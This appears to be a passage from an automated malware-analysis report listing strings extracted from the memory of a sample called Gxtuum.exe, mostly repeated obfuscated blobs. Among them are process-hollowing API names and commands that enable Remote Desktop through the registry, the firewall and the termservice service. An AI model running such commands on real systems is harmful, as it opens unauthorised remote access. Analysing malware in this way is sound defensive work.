=A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000A.00000000.2513773917.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000A.00000000.2513773917.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000A.00000002.2516574455.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000A.00000002.2516574455.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000B.00000000.2514666525.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000B.00000000.2514666525.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 0000000B.00000002.2517255855.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 0000000B.00000002.2517255855.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 00000031.00000002.2985382240.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000031.00000002.2985382240.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu y7igHx4N7ziZt5ieJn=N6nmct5ieJn=OHu=OXu=OXy=OXC=I0vmb8==0LHXcuotOz==0LHXcyM4OBZ=O18iOKnpN6Rh2LCu11Dm4qbtA7vYaNVYEKC+EKG+A5rpdNdneqDmzCioxA==5E==yrLraOQ7EU==268ibxwxPlWbdJl=06LvbdVqPCzl1JmxG6LXTdFYd0QcW6aEaCXrXX5i1s==JLzsZUJfeXI9fJuhFZPyUSQeX50dfK3m iW=F1PmcdE=H6vwcxVwf5kWKHmmVc==GZDCVr==JKvrZxEeX5Maf0yuaDm=GKZgdx9wLI5c0j==FZPEBDOtVx9Y1ZoK1ZC6 inYjR==FqbXZxVk2ZWb10x=IqZvdx9sJ6Ztax9xF6ZqbTRtK6brRxVk2ZWb10x=BHuvMqQZQm4VQT==2qy=36y=F6ZrdxVsgFSLg0qqLeDriXxW0Tvj5oItOqZvbJ1i10I9QBqn9ZXs4HFu4PUvDTSrAWQqLJ0rsUfAbT5Y2ZWRNXGu ZDth3lW0S3wGjtk17zqLNRfgJvYKJUm9SW7NnRd3CykGztk00nibdFr2WR xkQHQT9sgJMlfFQZbTDjTjBd2Dvu3XFf3Kbsb 9t16IcfFQEaDLj3X0JrcUMsUeqLJ0rOVR=AWQKC8==E7Dgca0vAqftZn==F6ZrdxVsgFSLg0qqLeDfhIBo0SHj6Hdt1mZ1LOd1gBSdd6yyITXwgHVqNY3mRXI=J5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4S5Yy DXY4YJKNSVnPFFt11rYdxVwWpwk1T==F6ZqcyVY20AF0ZQqN0zgZxVk259gcpix9S7thIFu2ZL36o6241etMKIxQGLTPC6 IR =A1LraNNt2JLkJ5bQVvVL0HESeqyq9jTBg35W2i3uM3NYMIDsbeRwe5o4XZUuaCXi0nlgOS3eI11MKJzMTwxUVXIwV4l=J5bQVvVL0HEmdqGD9YzR4YQsBzzeM3Nw3qbgZONaTpwqcZCJ8TPugHF1MBTrRHNtKqbhZN9HUD==MHqtMuA=GKLjYOVqgIEcfKGu9ifxQmhOOTHx4INY00ZrGKLjYOVqgIEcfKGu9ifxQmlOOTHx4INY00ZrJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37CdTcRaT6MpepKzaB1jhoNl1YY=JLzsZyVhgHW9dZJ=BnquOH==BnqvM8==BnquN8==BnqvNH==F7LvcdVsgHAScZmpME==Dne32rLrZxxqPCzl107qA6idxrHecTtpdZojKFYrFyangTAexmqjJ BYdZScd6K5FzGeOjYcOCPuAB==ymOdROhngFz=xmqjJ Bw2ZV8xGOjIr==JKZ0ZOJxdJMjdFUqbCW=A0L1ZNNZgJcmdqqA9CnhjTBuOSVx6HNx004rZNQeOXQgdJJlFc==xk==268YdxRtg5V8N0BlITSeRB==27G6cn==2qvrZx9rH6L2Yd9ffpH8VJu 9ZXY2GBuOSrxQXI=BHqtMuAYPWb=BHqtMuAYPmz=BHqtMuAYPmD=BHqtMuAYP5P=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/0%x%xabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 Systemimage/jpeg0123456789\/ NtUnmapViewOfSectionntdll.dllrunas, r/.\10111213 0x00000000fDenyTSConnectionsSYSTEM\CurrentControlSet\Control\Terminal Servernetsh advfirewall firewall set rule group="Remote Desktop" new enable=Yessc config ter
Source: Gxtuum.exe, 00000031.00000000.2923550154.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: net start termservice
Source: Gxtuum.exe, 00000031.00000000.2923550154.0000000000E81000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set0e18a2a9dd22cd0f87c9fba7075c3b3948cb35e3030a2b429c6ac414faba9b49d5db2dd0959ced207fdd8b109219bbbcf13cc4BnuvLaE3PBVqOVT9ADDsZd4xdpPq1Wyx8iuwQ3lqOCP6Dotm2E==CWUuM8==JCQibyUryWRpdH==AWLpdH==OXGYOxQwQmEaOD==G78XdOVrOpMV1T==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPwL3XhOU==J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z VONjflsKcJKx9yDEg3xgOTDBJ7HeceRZfD==JqLqN6RhIt9BLIAETHaXFyaxQ4EcJ4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359JjPw2rLrZxxqPCz8JLzsZUJfe0D=J4ZDVwdzXnM4VZao iaxg3ZWMB8r4nJt37D QUVwfpMlfIOq jPng359GTby4H1wO1z UThjeJn8TpYxWCXwhx==yZLQRMJOXn0xUXmKGM==MIvtcr==JIZQVr==G4LR00G33rC326G317C3Nqa3N1y32KC330U3OKQ3N1O31LO316332nQ=N7ziZt5ieJoZ05mu 